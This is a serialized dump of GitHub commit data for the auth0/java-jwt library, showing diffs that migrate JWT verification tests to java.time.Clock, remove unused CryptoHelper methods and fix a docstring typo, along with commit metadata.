@@ -200,15 +199,15 @@ public Verification withArrayClaim(String name, Long... items) throws IllegalArg
 
         @Override
         public JWTVerifier build() {
-            return this.build(new ClockImpl());
+            return this.build(Clock.systemUTC());
         }
 
         /**
          * Creates a new and reusable instance of the JWTVerifier with the configuration already provided.
          * ONLY FOR TEST PURPOSES.
          *
          * @param clock the instance that will handle the current time.
-         * @return a new JWTVerifier instance with a custom Clock.
+         * @return a new JWTVerifier instance with a custom {@link java.time.Clock}
          */
         public JWTVerifier build(Clock clock) {
             addLeewayToDateClaims();
@@ -405,7 +404,7 @@ private void assertValidStringClaim(String claimName, String value, String expec
     }
 
     private void assertValidDateClaim(Date date, long leeway, boolean shouldBeFuture) {
-        Date today = new Date(clock.getToday().getTime());
+        Date today = new Date(clock.millis());
         today.setTime(today.getTime() / 1000 * 1000); // truncate millis
         if (shouldBeFuture) {
             assertDateIsFuture(date, leeway, today);u}(j&  (20bb384b7e8be99161b48ede2bc628deb16144cej  ,lib/src/test/java/com/auth0/jwt/JWTTest.javaj  modifiedj  K
j  Kj  Kj  https://github.com/auth0/java-jwt/blob/1ccecd40417bb7e4da9cf94aa612a8ad4d0086fa/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj  https://github.com/auth0/java-jwt/raw/1ccecd40417bb7e4da9cf94aa612a8ad4d0086fa/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.java?ref=1ccecd40417bb7e4da9cf94aa612a8ad4d0086faj  X  @@ -1,7 +1,6 @@
 package com.auth0.jwt;
 
 import com.auth0.jwt.algorithms.Algorithm;
-import com.auth0.jwt.interfaces.Clock;
 import com.auth0.jwt.interfaces.DecodedJWT;
 import org.hamcrest.collection.IsCollectionWithSize;
 import org.hamcrest.core.IsCollectionContaining;
@@ -14,6 +13,9 @@
 import java.security.interfaces.ECPrivateKey;
 import java.security.interfaces.ECPublicKey;
 import java.security.interfaces.RSAKey;
+import java.time.Clock;
+import java.time.Instant;
+import java.time.ZoneId;
 import java.util.Base64;
 import java.util.Date;
 
@@ -36,7 +38,6 @@ public class JWTTest {
     private static final String PRIVATE_KEY_FILE_EC_384 = "src/test/resources/ec384-key-private.pem";
     private static final String PRIVATE_KEY_FILE_EC_512 = "src/test/resources/ec512-key-private.pem";
 
-
     @Rule
     public ExpectedException exception = ExpectedException.none();
 
@@ -274,9 +275,8 @@ public void shouldGetStringAudience() throws Exception {
 
     @Test
     public void shouldGetExpirationTime() throws Exception {
-        Date expectedDate = new Date(1477592 * 1000);
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(expectedDate);
+        long seconds = 1477592L;
+        Clock clock = Clock.fixed(Instant.ofEpochSecond(seconds), ZoneId.of("UTC"));
 
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE0Nzc1OTJ9.x_ZjkPkKYUV5tdvc0l8go6D_z2kez1MQcOxokXrDc3k";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWT.require(Algorithm.HMAC256("secret"));
@@ -287,14 +287,13 @@ public void shouldGetExpirationTime() throws Exception {
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getExpiresAt(), is(instanceOf(Date.class)));
         assertThat(jwt.getExpiresAt(), is(notNullValue()));
-        assertThat(jwt.getExpiresAt(), is(equalTo(expectedDate)));
+        assertThat(jwt.getExpiresAt(), is(equalTo(new Date(seconds * 1000))));
     }
 
     @Test
-    public void shouldGetNotBefore() throws Exception {
-        Date expectedDate = new Date(1477592 * 1000);
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(expectedDate);
+    public void shouldGetNotBefore() {
+        long seconds = 1477592;
+        Clock clock = Clock.fixed(Instant.ofEpochSecond(seconds), ZoneId.of("UTC"));
 
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYmYiOjE0Nzc1OTJ9.mWYSOPoNXstjKbZkKrqgkwPOQWEx3F3gMm6PMcfuJd8";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWT.require(Algorithm.HMAC256("secret"));
@@ -305,14 +304,13 @@ public void shouldGetNotBefore() throws Exception {
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getNotBefore(), is(instanceOf(Date.class)));
         assertThat(jwt.getNotBefore(), is(notNullValue()));
-        assertThat(jwt.getNotBefore(), is(equalTo(expectedDate)));
+        assertThat(jwt.getNotBefore(), is(equalTo(new Date(seconds * 1000))));
     }
 
     @Test
     public void shouldGetIssuedAt() throws Exception {
-        Date expectedDate = new Date(1477592 * 1000);
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(expectedDate);
+        long seconds = 1477592;
+        Clock clock = Clock.fixed(Instant.ofEpochSecond(seconds), ZoneId.of("UTC"));
 
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE0Nzc1OTJ9.5o1CKlLFjKKcddZzoarQ37pq7qZqNPav3sdZ_bsZaD4";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWT.require(Algorithm.HMAC256("secret"));
@@ -323,7 +321,7 @@ public void shouldGetIssuedAt() throws Exception {
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getIssuedAt(), is(instanceOf(Date.class)));
         assertThat(jwt.getIssuedAt(), is(notNullValue()));
-        assertThat(jwt.getIssuedAt(), is(equalTo(expectedDate)));
+        assertThat(jwt.getIssuedAt(), is(equalTo(new Date(seconds * 1000))));
     }
 
     @Testu}(j&  (48b0ab4f6f81072d3a8ce72d035c67a1600ef8bbj  4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javaj  modifiedj  Kj  K>j  KSj  https://github.com/auth0/java-jwt/blob/1ccecd40417bb7e4da9cf94aa612a8ad4d0086fa/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj  https://github.com/auth0/java-jwt/raw/1ccecd40417bb7e4da9cf94aa612a8ad4d0086fa/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=1ccecd40417bb7e4da9cf94aa612a8ad4d0086faj  Xw*  @@ -4,13 +4,16 @@
 import com.auth0.jwt.exceptions.AlgorithmMismatchException;
 import com.auth0.jwt.exceptions.InvalidClaimException;
 import com.auth0.jwt.exceptions.TokenExpiredException;
-import com.auth0.jwt.interfaces.Clock;
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.Verification;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
 
+import java.time.Clock;
+import java.time.Duration;
+import java.time.Instant;
+import java.time.ZoneId;
 import java.util.Collections;
 import java.util.Date;
 import java.util.HashMap;
@@ -23,7 +26,10 @@
 
 public class JWTVerifierTest {
 
-    private static final long DATE_TOKEN_MS_VALUE = 1477592 * 1000;
+    private Clock mockNow = Clock.fixed(Instant.ofEpochSecond(1477592), ZoneId.of("UTC"));
+    private Clock mockOneSecondEarlier = Clock.offset(mockNow, Duration.ofSeconds(-1));
+    private Clock mockOneSecondLater = Clock.offset(mockNow, Duration.ofSeconds(1));
+
     @Rule
     public ExpectedException exception = ExpectedException.none();
 
@@ -450,7 +456,7 @@ public void shouldThrowOnInvalidCustomClaimValue() throws Exception {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
         Map<String, Object> map = new HashMap<>();
         map.put("name", new Object());
-        JWTVerifier verifier = new JWTVerifier(Algorithm.HMAC256("secret"), map, new ClockImpl());
+        JWTVerifier verifier = new JWTVerifier(Algorithm.HMAC256("secret"), map, Clock.systemUTC());
         verifier.verify(token);
     }
 
@@ -658,48 +664,25 @@ public void shouldThrowOnNegativeCustomLeeway() throws Exception {
                 .acceptLeeway(-1);
     }
 
-    @Test
-    public void shouldNotModifyOriginalClockDateWhenVerifying() throws Exception {
-        Clock clock = mock(Clock.class);
-        Date clockDate = spy(new Date(DATE_TOKEN_MS_VALUE));
-        when(clock.getToday()).thenReturn(clockDate);
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
-        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
-        JWTVerifier verifier = verification
-                .build(clock);
-
-        DecodedJWT jwt = verifier.verify(token);
-        assertThat(jwt, is(notNullValue()));
-
-        verify(clockDate, never()).setTime(anyLong());
-    }
-
     // Expires At
     @Test
     public void shouldValidateExpiresAtWithLeeway() throws Exception {
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE + 1000));
-
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .acceptExpiresAt(2);
         DecodedJWT jwt = verification
-                .build(clock)
+                .build(mockOneSecondLater)
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
     }
 
     @Test
-    public void shouldValidateExpiresAtIfPresent() throws Exception {
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE));
-
+    public void shouldValidateExpiresAtIfPresent() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
         DecodedJWT jwt = verification
-                .build(clock)
+                .build(mockNow)
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
@@ -709,13 +692,11 @@ public void shouldValidateExpiresAtIfPresent() throws Exception {
     public void shouldThrowOnInvalidExpiresAtIfPresent() throws Exception {
         exception.expect(TokenExpiredException.class);
         exception.expectMessage(startsWith("The Token has expired on"));
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE + 1000));
 
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
         verification
-                .build(clock)
+                .build(mockOneSecondLater)
                 .verify(token);
     }
 
@@ -731,14 +712,11 @@ public void shouldThrowOnNegativeExpiresAtLeeway() throws Exception {
     // Not before
     @Test
     public void shouldValidateNotBeforeWithLeeway() throws Exception {
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE - 1000));
-
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE0Nzc1OTJ9.wq4ZmnSF2VOxcQBxPLfeh1J2Ozy1Tj5iUaERm3FKaw8";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .acceptNotBefore(2);
         DecodedJWT jwt = verification
-                .build(clock)
+                .build(mockOneSecondEarlier)
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
@@ -748,25 +726,20 @@ public void shouldValidateNotBeforeWithLeeway() throws Exception {
     public void shouldThrowOnInvalidNotBeforeIfPresent() throws Exception {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage(startsWith("The Token can't be used before"));
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE - 1000));
 
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE0Nzc1OTJ9.wq4ZmnSF2VOxcQBxPLfeh1J2Ozy1Tj5iUaERm3FKaw8";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
         verification
-                .build(clock)
+                .build(mockOneSecondEarlier)
                 .verify(token);
     }
 
     @Test
     public void shouldValidateNotBeforeIfPresent() throws Exception {
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE));
-
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
         DecodedJWT jwt = verification
-                .build(clock)
+                .build(mockNow)
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
@@ -784,69 +757,55 @@ public void shouldThrowOnNegativeNotBeforeLeeway() throws Exception {
     // Issued At with future date
     @Test(expected = InvalidClaimException.class)
     public void shouldThrowOnFutureIssuedAt() throws Exception {
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE - 1000));
-
         String token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE0Nzc1OTJ9.CWq-6pUXl1bFg81vqOUZbZrheO2kUBd2Xr3FUZmvudE";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
 
-        DecodedJWT jwt = verification.build(clock).verify(token);
+        DecodedJWT jwt = verification.build(mockOneSecondEarlier).verify(token);
         assertThat(jwt, is(notNullValue()));
     }
 
     // Issued At with future date and ignore flag
     @Test
     public void shouldSkipIssuedAtVerificationWhenFlagIsPassed() throws Exception {
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE - 1000));
-
         String token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE0Nzc1OTJ9.CWq-6pUXl1bFg81vqOUZbZrheO2kUBd2Xr3FUZmvudE";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
         verification.ignoreIssuedAt();
 
-        DecodedJWT jwt = verification.build(clock).verify(token);
+        DecodedJWT jwt = verification.build(mockOneSecondEarlier).verify(token);
         assertThat(jwt, is(notNullValue()));
     }
 
     @Test
     public void shouldThrowOnInvalidIssuedAtIfPresent() throws Exception {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage(startsWith("The Token can't be used before"));
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE - 1000));
 
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE0Nzc1OTJ9.0WJky9eLN7kuxLyZlmbcXRL3Wy8hLoNCEk5CCl2M4lo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
         verification
-                .build(clock)
+                .build(mockOneSecondEarlier)
                 .verify(token);
     }
 
     @Test
     public void shouldOverrideAcceptIssuedAtWhenIgnoreIssuedAtFlagPassedAndSkipTheVerification() throws Exception {
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE - 10000));
-
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE0Nzc1OTJ9.0WJky9eLN7kuxLyZlmbcXRL3Wy8hLoNCEk5CCl2M4lo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .acceptIssuedAt(1)
                 .ignoreIssuedAt();
         DecodedJWT jwt = verification
-                .build(clock)
+                .build(mockOneSecondEarlier)
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
     }
 
     @Test
     public void shouldValidateIssuedAtIfPresent() throws Exception {
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE));
-
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE0Nzc1OTJ9.0WJky9eLN7kuxLyZlmbcXRL3Wy8hLoNCEk5CCl2M4lo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
         DecodedJWT jwt = verification
-                .build(clock)
+                .build(mockNow)
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));ueu      (5e74d30b03514625d687dcbe602a4b6b95bcacbe}(sha(5e74d30b03514625d687dcbe602a4b6b95bcacbenode_idEC_kwDOAQtL0doAKDVlNzRkMzBiMDM1MTQ2MjVkNjg3ZGNiZTYwMmE0YjZiOTViY2FjYmUcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-23T19:14:39Zu	committer}(j  
Poovamraj T Tj  poovamraj@gmail.comj  2022-03-23T19:14:39Zumessage%Remove unused methods in CryptoHelpertree}(j  (cfe3b0c9ce1d9a72ed99c933e919b959cbbfcb44url^https://api.github.com/repos/auth0/java-jwt/git/trees/cfe3b0c9ce1d9a72ed99c933e919b959cbbfcb44uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/5e74d30b03514625d687dcbe602a4b6b95bcacbe
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/5e74d30b03514625d687dcbe602a4b6b95bcacbehtml_urlQhttps://github.com/auth0/java-jwt/commit/5e74d30b03514625d687dcbe602a4b6b95bcacbecomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/5e74d30b03514625d687dcbe602a4b6b95bcacbe/commentsj  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj  }(j  	poovamrajj  J j  MDQ6VXNlcjE1OTEwNDI1j  4https://avatars.githubusercontent.com/u/15910425?v=4j  h3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamrajj  0https://api.github.com/users/poovamraj/followersj  =https://api.github.com/users/poovamraj/following{/other_user}j  6https://api.github.com/users/poovamraj/gists{/gist_id}j  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j  4https://api.github.com/users/poovamraj/subscriptionsj  +https://api.github.com/users/poovamraj/orgsj  ,https://api.github.com/users/poovamraj/reposj  7https://api.github.com/users/poovamraj/events{/privacy}j  6https://api.github.com/users/poovamraj/received_eventsj  Userj  uparents]}(j  (7ce6697cd47c4a9c7bdf096f1bb875c4d8817304j  \https://api.github.com/repos/auth0/java-jwt/commits/7ce6697cd47c4a9c7bdf096f1bb875c4d8817304j  Qhttps://github.com/auth0/java-jwt/commit/7ce6697cd47c4a9c7bdf096f1bb875c4d8817304uastats}(totalK/	additionsK 	deletionsK/ufiles]}(j  (7b8c5c2ac5761bbf25b86fa55870a38d67cc0a03filename<lib/src/main/java/com/auth0/jwt/algorithms/CryptoHelper.javastatusmodifiedj

  K j
  K/changesK/blob_urlhttps://github.com/auth0/java-jwt/blob/5e74d30b03514625d687dcbe602a4b6b95bcacbe/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.javaraw_urlhttps://github.com/auth0/java-jwt/raw/5e74d30b03514625d687dcbe602a4b6b95bcacbe/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.java?ref=5e74d30b03514625d687dcbe602a4b6b95bcacbepatchXG	  @@ -112,53 +112,6 @@ boolean verifySignatureFor(
         return s.verify(signatureBytes);
     }
 
-    /**
-     * Verify signature.
-     * For valid verification, ensure the content is in the format {HEADER}.{PAYLOAD}
-     *
-     * @param algorithm      algorithm name.
-     * @param secretBytes    algorithm secret.
-     * @param contentBytes   the content to which the signature applies.
-     * @param signatureBytes JWT signature.
-     * @return true if signature is valid.
-     * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
-     */
-    boolean verifySignatureFor(
-            String algorithm,
-            byte[] secretBytes,
-            byte[] contentBytes,
-            byte[] signatureBytes
-    ) throws NoSuchAlgorithmException, InvalidKeyException {
-        return MessageDigest.isEqual(createSignatureFor(algorithm, secretBytes, contentBytes), signatureBytes);
-    }
-
-    /**
-     * Verify signature using a public key.
-     * For valid verification, ensure the content is in the format {HEADER}.{PAYLOAD}
-     *
-     * @param algorithm      algorithm name.
-     * @param publicKey      algorithm public key.
-     * @param contentBytes   the content to which the signature applies.
-     * @param signatureBytes JWT signature.
-     * @return the signature bytes.
-     * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
-     * @throws SignatureException       if this signature object is not initialized properly
-     *                                  or if this signature algorithm is unable to process the input data provided.
-     */
-    boolean verifySignatureFor(
-            String algorithm,
-            PublicKey publicKey,
-            byte[] contentBytes,
-            byte[] signatureBytes
-    ) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
-        final Signature s = Signature.getInstance(algorithm);
-        s.initVerify(publicKey);
-        s.update(contentBytes);
-        return s.verify(signatureBytes);
-    }
-
     /**
      * Create signature for JWT header and payload using a private key.
      *uau(f84a52796a99d02864f088789ab8c7f74eb6dcc2}(sha(f84a52796a99d02864f088789ab8c7f74eb6dcc2node_idEC_kwDOAQtL0doAKGY4NGE1Mjc5NmE5OWQwMjg2NGYwODg3ODlhYjhjN2Y3NGViNmRjYzIcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-02-14T15:15:07Zu	committer}(j*
  GitHubj,
  noreply@github.comj.
  2022-02-14T15:15:07Zumessage\Merge pull request #526 from OdunlamiZO/doc-fixes

fix typos in JWTVerifier#verify docstringtree}(j"
  (7a96b2db5ff50f641ab15469018d177ede206da5url^https://api.github.com/repos/auth0/java-jwt/git/trees/7a96b2db5ff50f641ab15469018d177ede206da5uj:
  `https://api.github.com/repos/auth0/java-jwt/git/commits/f84a52796a99d02864f088789ab8c7f74eb6dcc2
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiCnH7CRBK7hj4Ov3rIwAABbwIAI6Akg9EPREy/kf/d1sHpbqv
RxJRW35sBRhLKbYAkjXCqoyEgRPums+60IGvjeRi1LA8bzBSiqtTGAg7B2yfFMJQ
hiuJmeEm5y90igmabthJSAazSt3UdmOzAxORrOvuG/mGzxi7YC4TCXZVhG+Pri60
YUtoP3ENkNiqhocvjsdh7P3NN1XbCUzqDF9KS3Pe/D/TJOpMbUGWs46RLS7Hp2or
hHgBqIGfe2ZbuTxy4BCVA03fmtTl+VLdPX65F2aQnjtA5ESdPfBdovR4dp4Us801
zu/GdokjIVG/qcg1tW5Ce9s00L8Ae5VDDUVJuAkY8ec+9a398BYdFJoRsUkNVx8=
=AyJ3
-----END PGP SIGNATURE-----
payloadX`  tree 7a96b2db5ff50f641ab15469018d177ede206da5
parent 9e4408706f56e17e10f66202630b5a161401add7
parent 236fef32115d3f3e816c45b049e7aac77080f1dd
author Jim Anderson <jim.anderson@auth0.com> 1644851707 -0600
committer GitHub <noreply@github.com> 1644851707 -0600

Merge pull request #526 from OdunlamiZO/doc-fixes

fix typos in JWTVerifier#verify docstringuuj:
  \https://api.github.com/repos/auth0/java-jwt/commits/f84a52796a99d02864f088789ab8c7f74eb6dcc2html_urlQhttps://github.com/auth0/java-jwt/commit/f84a52796a99d02864f088789ab8c7f74eb6dcc2comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/f84a52796a99d02864f088789ab8c7f74eb6dcc2/commentsj(
  }(login
jimmyjamesidJ7 j$
  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j:
  'https://api.github.com/users/jimmyjamesjH
  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj0
  }(jM
  web-flowjO
  J/j$
  MDQ6VXNlcjE5ODY0NDQ3jQ
  4https://avatars.githubusercontent.com/u/19864447?v=4jS
  h3j:
  %https://api.github.com/users/web-flowjH
  https://github.com/web-flowjV
  /https://api.github.com/users/web-flow/followersjX
  <https://api.github.com/users/web-flow/following{/other_user}jZ
  5https://api.github.com/users/web-flow/gists{/gist_id}j\
  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j^
  3https://api.github.com/users/web-flow/subscriptionsj`
  *https://api.github.com/users/web-flow/orgsjb
  +https://api.github.com/users/web-flow/reposjd
  6https://api.github.com/users/web-flow/events{/privacy}jf
  5https://api.github.com/users/web-flow/received_eventsjh
  Userjj
  uparents](}(j"
  (9e4408706f56e17e10f66202630b5a161401add7j:
  \https://api.github.com/repos/auth0/java-jwt/commits/9e4408706f56e17e10f66202630b5a161401add7jH
  Qhttps://github.com/auth0/java-jwt/commit/9e4408706f56e17e10f66202630b5a161401add7u}(j"
  (236fef32115d3f3e816c45b049e7aac77080f1ddj:
  \https://api.github.com/repos/auth0/java-jwt/commits/236fef32115d3f3e816c45b049e7aac77080f1ddjH
  Qhttps://github.com/auth0/java-jwt/commit/236fef32115d3f3e816c45b049e7aac77080f1dduestats}(totalK	additionsK	deletionsKufiles]}(j"
  (17f182c28db7f444125fdb45fc1272fcfd5cdcb2filename0lib/src/main/java/com/auth0/jwt/JWTVerifier.javastatusmodifiedj
  Kj
  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/f84a52796a99d02864f088789ab8c7f74eb6dcc2/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaraw_urlhttps://github.com/auth0/java-jwt/raw/f84a52796a99d02864f088789ab8c7f74eb6dcc2/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=f84a52796a99d02864f088789ab8c7f74eb6dcc2patchX  @@ -272,7 +272,7 @@ private static boolean isNullOrEmpty(String[] args) {
      *
      * @param token to verify.
      * @return a verified and decoded JWT.
-     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header it's not equal to the one defined in the {@link JWTVerifier}.
+     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header is not equal to the one defined in the {@link JWTVerifier}.
      * @throws SignatureVerificationException if the signature is invalid.
      * @throws TokenExpiredException          if the token has expired.
      * @throws InvalidClaimException          if a claim contained a different value than the expected one.
@@ -288,7 +288,7 @@ public DecodedJWT verify(String token) throws JWTVerificationException {
      *
      * @param jwt to verify.
      * @return a verified and decoded JWT.
-     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header it's not equal to the one defined in the {@link JWTVerifier}.
+     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header is not equal to the one defined in the {@link JWTVerifier}.
      * @throws SignatureVerificationException if the signature is invalid.
      * @throws TokenExpiredException          if the token has expired.
      * @throws InvalidClaimException          if a claim contained a different value than the expected one.uau(6aa5fe8d2aba4b4bb3a148b02f82189cd2da9b1e}(sha(6aa5fe8d2aba4b4bb3a148b02f82189cd2da9b1enode_idEC_kwDOAQtL0doAKDZhYTVmZThkMmFiYTRiNGJiM2ExNDhiMDJmODIxODljZDJkYTliMWUcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-10-20T20:20:40Zu	committer}(j
  Jim Andersonj
